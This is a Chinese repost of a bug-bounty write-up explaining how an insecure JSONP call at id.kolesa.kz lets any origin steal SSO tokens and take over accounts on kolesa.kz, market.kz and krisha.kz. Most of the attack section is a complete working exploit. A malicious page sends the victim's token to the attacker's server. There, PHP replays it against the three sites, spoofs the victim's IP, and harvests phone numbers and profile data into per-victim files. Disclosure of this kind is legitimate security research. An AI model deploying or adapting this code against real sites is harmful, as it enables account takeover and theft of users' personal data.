利用不安全的JSONP绕过SSO实现账户接管(分析+实践)
2020-10-14 11:15:51 Author: xz.aliyun.com(查看原文) 阅读量:356 收藏

说明

这篇文章的内容是,我怎样使用单点登录(Single Sign-On),实现了接管Kolesa网站的任意帐户。

大概的漏洞逻辑:不安全的JSONP调用会破坏整个SSO机制的安全性。

JSONP的定义

JSONP是一种将JSON数据发送到其他域的方法。

  • 特点
    • 可以加载外部JavaScript对象
    • 不使用XMLHttpRequest对象
    • 不太安全
    • 在浏览器中绕过SOP

JSONP请求/响应示例:

单点登录简介

单点登录(Single Sign-On)

信息搜集

信息收集后发现,Kolesa网站使用了SSO,使用SSO的网站是:
(1)https://market.kz
(2)https://krisha.kz
(3)https://kolesa.kz

它们的身份验证服务器都为:https://id.kolesa.kz

SSO工作流程

SSO工作流程图,如下:

在这个身份验证模型中,由于一个域不能为其他域设置authentication cookie,所以authentication token应在 authentication server 和 其他域 之间传输。

考虑到SSO工作流程图中的橙色框,每个站点均应在验证之后保存一个authentication tokencookie。

此外,authentication server也保存了它的cookie,因此在几个HTTP请求之后,我找到了每个Kolesa网站,和它域下的那个“身份验证cookie”的名称,对应关系如下图:

通过JSONP调用来处理SSO

JSONP调用用于进一步的身份验证。

如果用户已经登录了这三个网站中的任何一个,则将进行JSONP调用以对该用户进行身份验证。

为什么这里使用了JSONP?
因为Kolesa网站认为,执行此操作更简单,可以避免进行CORS设置。

其实由于域的来源不同,Kolesa网站应该实施CORS(Cross Origin Resource Sharing)。

但他们决定使用JSONP。

流程图:

关键是,例如,一旦某个用户登录(3)kosela.kz,他们将拥有:
一个ccidcookie [id.kolesa.kz域]
一个用于传输身份验证的authentication tokencookie [kosela.kz域]
一个ssidcookie [kosela.kz域]

此后,如果用户要登录网站c,只需单击一下,因为 [id.kolesa.kz域] 有authenticationcookie,因此会立即生成authentication token,并且用户将在网站c上拥有对应的authentication cookie

根据上面的流程图,【阶段4】表示了:
如何进行JSONP调用.
如何将authentication token转换为某个域名下的authentication cookie.

JSONP调用的原因:

如果用户已经通过进行了身份验证id.kolesa.kz,则将收到以下响应:

HTTP/1.1 200 OK
Server: openresty/1.13.6.2
Date: Mon, 19 Aug 2019 16:43:26 GMT
Content-Type: text/javascript;charset=UTF-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Backend-Server: auth-be3.alaps.kz.prod.bash.kz
X-Bug-Bounty: Please report bugs and vulnerabilities to [email protected]
Content-Security-Policy: frame-ancestors 'self' http://webvisor.com https://webvisor.com
Strict-Transport-Security: max-age=31536000
Content-Length: 627
window.xdm = {
    sess: {
        is_authenticated: 1,
        token: 'xG3ROFWcb7pnXSnMr8MkaBvH01pLlCHqn0sPt0PVL6BBWYdQPdvA31tBi6dLB5njv5jhMW3y/cGBMRB9LC/69zv867wweaDhkxX6arGVzYDy2q+J52nkOQJ+62rR9wLPYJGyEpNGWeOBSp12vugXZUPq2RA6FMptbNkGQpJFjAclXSzduj7wJJgAUONMj3mkkElM1nWmIllrl5zDEz6s7077E4ibx//BvnfZ9AIC/9b2PB+QzVKOnSzzcr9wSXqta9TEDHvjopqbUd4UE2xSMRSj/zxPQlCba5632hcIXnzZB3A8fvahvf2Hm5ssuC+cwuKU8pAdE/qcGQSJKdhpYXxntGkQiLdEAliyCq+fahS4itb6HlFH/+H20RsZA+cjyaF7ntnW5tYY31vxJXovrR3oinaj9YDSzoCZYMDYPJMdk+HuZhRuxxEl8abuNlGD0aCt2GCPV7GY0J9Ma7AcPw=='
    }
};
(function ($) {
    "use strict";
$.xdm = window.xdm;
}(jQuery));

可以看出,存在一个名为sess的对象,其中包含两个属性:is_authenticatedtoken

该对象负责传输身份验证。此时,用户拥有当前网站的authentication token,但没有authentication cookie,因此进行了第二次调用:

JS代码:

存在漏洞的外部JavaScript对象

问题是:
任意origin可以提取出authentication token!

当然,这是因为JSONP调用绕过了Same Origin Policy。

利用该漏洞,只需单击一下即可接管帐户:)

漏洞利用阶段

场景很简单:
1.设置一个html页面,作用是代表任何用户调用JSONP
2.欺骗经过身份验证的用户访问我们的恶意网站
3.用户发送authentication token到我们的网站
4.用别的用户的身份登录并做坏事

漏洞利用代码(客户端+服务器端调用):

<?php
$victim_ip_address = "";
$output="";
$phone_nums="";
// Function to send HTTP GET requests, returning [contents,location,cookies].
function http_get($URL, $cookies = "", $xhr=false)
{
 global $victim_ip_address;
        $xhr_header="";
        if ($xhr == true) {
  $xhr_header="X-Requested-With: XMLHttpRequest\r\n";
 }
// Set HTTP headers, add X-Forwarded-For header to spoof IP address...
 $context = stream_context_create(
  array(
   "http" => array(
    'follow_location' => false,
    "method" => "GET",
    "header" => "X-Forwarded-For:$victim_ip_address\r\nCookie: $cookies\r\n$xhr_header"
   )
  )
 );
// Process HTTP response headers...
 $return_value["contents"] = file_get_contents($URL, false, $context);
 array_shift($http_response_header);
 $resp_cookies = [];
 $return_value["location"] = $URL;
 foreach ($http_response_header as $header) {
  $header_pair = explode(": ", $header);
  $header_name = $header_pair[0];
  $header_value = $header_pair[1];
if ($header_name == "Location") {
   $return_value["location"] = $header_value;
  } else if ($header_name == "Set-Cookie") {
   $cookie_name = explode("=", $header_value)[0];
   $cookie_value = explode(";", explode("=", $header_value)[1])[0];
   $resp_cookies[$cookie_name] = $cookie_value;
  }
 }
 $return_value["cookies"] = $resp_cookies;
 return $return_value;
}
// Function to extract sensitive information.
function ExtractContents($resp)
{
        global $output;
 $cookies = "";
 $PanelURL = "";
        global $phone_nums;
        $PageToExtractPhoneNum="";
        $phone_num_regex="";
        $xhr=false;
 $name = "";
 foreach ($resp["cookies"] as $cookie_name => $cookie_value) { //Check cookies...
if ($cookie_name == "ssid") {
   $name = "kolesa.kz";
   $PanelURL = "https://kolesa.kz/my/";
                        $PageToExtractPhoneNum="https://kolesa.kz/my/ajax-settings-personal/";
                        $phone_num_regex='/phones="\[(.*)\]"/';
  } else if ($cookie_name == "mtsid") {
   $name = "market.kz";
   $PanelURL = "https://market.kz/cabinet/";
                        $PageToExtractPhoneNum="https://market.kz/ajax/getVerifiedPhones.json?ignoreSession=true";
                        $phone_num_regex='/"phones":(.*)\]/';
  } else if ($cookie_name == "krssid") {
   $name = "krisha.kz";
   $PanelURL = "https://krisha.kz/my/";
                        $PageToExtractPhoneNum="https://krisha.kz/my/ajax-get-form/?userType=1";
                        $phone_num_regex='/"phones" :list="\[\{(.*)\}\]"/';
                        $xhr=true;
  }
$cookies .= $cookie_name . "=" . $cookie_value . ";";
 }
if($phone_nums==""){
$contents = http_get($PageToExtractPhoneNum, $cookies,$xhr)["contents"]; // Read pages contating phone numbers and extract them.
  preg_match($phone_num_regex, $contents, $phone_num_matches); // Extract phone numbers.
if (sizeof($phone_num_matches) != 0){
           $phone_nums=str_replace(['&quot;'," ","(",")",'"phones":[]','phones="[]"'],'',$phone_num_matches[0]); // Remove empty results and bad strings.
                        if ( $phone_nums != "") {
                    $output .= "User phone numbers:\n$phone_nums\n\n";
                        }
         }
}
$output .= str_repeat("=", 10) . " $name " . str_repeat("=", 10)."\n\n";
        $output .= "Authentication cookie: $cookies\n\n";
$contents = http_get($PanelURL, $cookies)["contents"]; // Set stolen cookies to access victim account, read user page contents.
 preg_match('/window\.digitalData =.*\};/', $contents, $user_info_matches);//Extract sensitive information matching Regex.
if( sizeof($user_info_matches)!=0 ){
  $user_info = $user_info_matches[0];
         $output .= "User information:\n$user_info\n\n";
        }
}
// Main Function
function Main()
{
 global $victim_ip_address;
        global $phone_nums;
        global $output;
 $victim_ip_address = $_SERVER['REMOTE_ADDR'];
if (isset($_GET['token'])) { // Authentication cookie is sent by XMLHTTPRequest.
$token = urlencode($_GET['token']);
// Send athentication token to the target websites for validation.
    $market_resp = http_get("https://market.kz/user/ajax-xdm-auth/?token=" . $token);
    $kolesa_resp = http_get("https://kolesa.kz/user/ajax-xdm-auth/?token=" . $token);
  $krisha_resp = http_get("https://krisha.kz/user/ajax-xdm-auth/?token=" . $token);
                // ExtractContents() function will processes responses for sensitive information.
// Token is valid, load and store sensitive information of the victim.
                $success1=($market_resp["location"] == "/user/ajax-xdm-auth/");
                $success2=($kolesa_resp["location"] == "/user/ajax-xdm-auth/");
                $success3=($krisha_resp["location"] == "/user/ajax-xdm-auth/");
$success=($success1 && $success2 && $success3);
  if ($success) {
   $now = time();
   $output_dir = "./$victim_ip_address/$now/"; // Create a directory based on IP address of the victim and current timestamp.
   mkdir($output_dir, 0755, true);
   ExtractContents($market_resp);
   ExtractContents($kolesa_resp); // Load and extract sensitive information.
   ExtractContents($krisha_resp);
                        file_put_contents("$output_dir/victim_info.txt",$output);//Save all information extracted to the output file.
   die("success");
  } else { // Token isn't valid, redirected to the login page.
   die("failure");
  }
 }
}
Main();
?>
<html>
<body onload="Main()">
    <script>
        var tries_num = 0;
        var max_tries = 30; // Try 30 times to avoid failure.
        window.jQuery = window; // As JQuery script isn't loaded, we redefine it to avoid errors.
function Main() { // Main function.
Create_JSONP();
}
function Check(xdm) { // Function handling "xdm" object loaded by JSONP.
if (tries_num == 1) {
                document.body.innerText += "+ JSONP object was loaded successfully.\n\n"
            }
var is_authenticated = xdm["sess"]["is_authenticated"]; //  Extract user user authentication status from xdm object.
            var token = xdm["sess"]["token"]; // Extract Authentication token from xdm object.
if (is_authenticated == 1) { // User is authenticated.
                if (tries_num == 1) {
                    document.body.innerText += "+ You are logged in.\n\n"
                }
document.body.innerText += "* Sending authentication token to the server...\n"
                XHR_Request("token=" + encodeURIComponent(token), Check_Server_Response) // Send authentication token to the server.
} else {
                document.body.innerText += "- You are not logged in!\n"
                document.body.innerText += "- Please login to one of your accounts on market.kz, kolesa.kz or krisha.kz and try again.\n"
}
}
function XHR_Request(data, callback) { // Function to send authentication tokens to the server.
var xhr = new XMLHttpRequest();
            xhr.open('GET', "?" + data, true);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
                    callback(xhr.responseText.trim())
                }
}
xhr.send();
        }
function Check_Server_Response(response) { // Function handling responses from the server.
if (response == "success") { // Server authenticated to the victim accounts successfully, token is valid.
document.body.innerText += "\n+ Success! Token is valid for authentication! (" + tries_num + "/" + max_tries + ")\n"
                document.body.innerText += "+ Now an attacker can access your accounts on market.kz, kolesa.kz and krisha.kz!\n"
                document.body.innerText += "+ Please check files created on the server for more information.\n\n"
            } else { // Server failed to access victim accounts.
                document.body.innerText += "- Token was invalid.Trying again...(" + tries_num + "/" + max_tries + ")\n"
                Create_JSONP()
            }
        }
function Create_JSONP() { // Function to create and load JSONP objects.
if (tries_num == max_tries) {
                document.body.innerText += "\nFailure: Could not find any valid token for authentication!";
                return;
            } else if (tries_num == 0) {
                document.body.innerText = "* Loading JSONP object from https://id.kolesa.kz/authToken.js...\n\n"
            }
tries_num += 1
// Same-Origin Policy allows current origin to load and handle cross-origin JSONP objects.
            // Create and append JSONP object loading https://id.kolesa.kz/authToken.js to the document.
            var JSONP = document.createElement('script');
            JSONP.src = "https://id.kolesa.kz/authToken.js"
// As "xdm" object is loaded by JSONP, call Check() function to check it.
            JSONP.onload = function() {
                Check(window.xdm)
            }
            document.head.append(JSONP);
}
    </script>
</body>
</html>

结尾

不安全的JSONP调用会破坏整个SSO机制的安全性,可实现任意账户接管。

参考资料

https://medium.com/bugbountywriteup/taking-down-the-sso-account-takeover-in-3-websites-of-kolesa-due-to-insecure-jsonp-call-facd79732e45


文章来源: http://xz.aliyun.com/t/8350
如有侵权请联系:admin#unsafe.sh